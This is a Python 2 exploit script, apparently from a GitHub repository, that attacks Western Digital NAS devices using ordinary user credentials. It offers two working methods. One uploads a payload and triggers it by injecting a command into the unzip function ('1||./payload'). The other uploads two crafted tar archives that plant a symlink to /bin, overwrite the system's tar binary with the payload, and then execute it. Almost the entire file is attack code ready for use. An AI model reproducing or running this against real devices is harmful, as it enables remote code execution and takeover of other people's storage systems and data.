-
Notifications
You must be signed in to change notification settings - Fork 13
/
exploit.py
127 lines (94 loc) · 3.76 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#!/usr/bin/env python2
import argparse
import os
import tarfile
import wd
def build_tar_payloads(payload_path, out_dir='.', targetdir='/bin', link_name='bkup'):
# build first tar that includes a synlink
target_file = '{}/{}'.format(link_name, 'tar')
out_name_first = os.path.join(out_dir, '1.tar')
out_name_second = os.path.join(out_dir, '2.tar')
tf = tarfile.TarFile(out_name_first, mode='w', dereference=False)
ti = tarfile.TarInfo(link_name)
ti.type = tarfile.SYMTYPE
ti.linkname = targetdir
tf.addfile(ti)
tf.close()
# build second tar, which uses the symlink from the first
tf = tarfile.TarFile(out_name_second, mode='w', dereference=False)
ti = tarfile.TarInfo(target_file)
ti_input = open(payload_path, 'rb')
ti.mode = 0o777
ti_input.seek(0, os.SEEK_END)
ti.size = ti_input.tell()
ti_input.seek(0)
tf.addfile(ti, fileobj=ti_input)
tf.close()
return out_name_first, out_name_second
def main(payload, method, server, user, passwd, remote_dir):
print 'acquiring session with creds: {} {}'.format(user, passwd)
nas = wd.API(user, passwd, server)
if not remote_dir:
print 'looking up remote paths'
remote_dir = nas.get_available_remote_path()
if not remote_dir:
print 'ERR: failed getting remote path'
return None
if method == 'inject':
print 'trying to exploit WD using command injection'
print ''
print 'uploading payload'
uploaded_path = nas.upload_file(payload.name, remote_dir=remote_dir)
if not uploaded_path:
return None
remote_fname = os.path.basename(payload.name)
print ''
print 'performing injetion ', remote_fname
cmd = '1||./{}'.format(remote_fname)
return nas.unzip(cmd, remote_dir)
elif method == 'untar':
print 'trying to exploit WD using untar'
print ''
print 'building tar payloads'
tar_name = 'b.tar'
first_tar, second_tar = build_tar_payloads(payload.name)
print 'uploading first tar'
uploaded_path = nas.upload_file(
first_tar, remote_dir=remote_dir, remote_name=tar_name)
if not uploaded_path:
print 'failed upload'
return None
print 'going to create target symlink using untar'
if not nas.untar(tar_name, remote_dir):
print 'failed untar'
return None
print 'uploading second tar, overwriting the first'
uploaded_path = nas.upload_file(
second_tar, remote_dir=remote_dir, remote_name=tar_name)
if not uploaded_path:
print 'failed upload'
return None
print 'going to untar into symlink, overwriting `tar` link in /bin'
if not nas.untar(tar_name, remote_dir):
print 'failed untar'
return None
print 'going to execute payload py running my fake `tar` again'
if not nas.untar(tar_name, remote_dir):
print 'failed untar'
return None
else:
raise Exception('unsupported method: {}'.format(method))
print ''
print 'done'
if __name__ == '__main__':
p = argparse.ArgumentParser()
p.add_argument('payload', type=argparse.FileType('rb'))
p.add_argument('-m', '--method', required=True,
choices=['inject', 'untar'])
p.add_argument('-s', '--server', default='wd', help='ip/domain of NAS')
p.add_argument('-u', '--user', default='nobody', help='standard user name')
p.add_argument('-p', '--passwd', default='', help='standard user password')
p.add_argument('-r', '--remote-dir', default='',
help='default upload path. by default will search for available one')
args = p.parse_args()
main(**vars(args))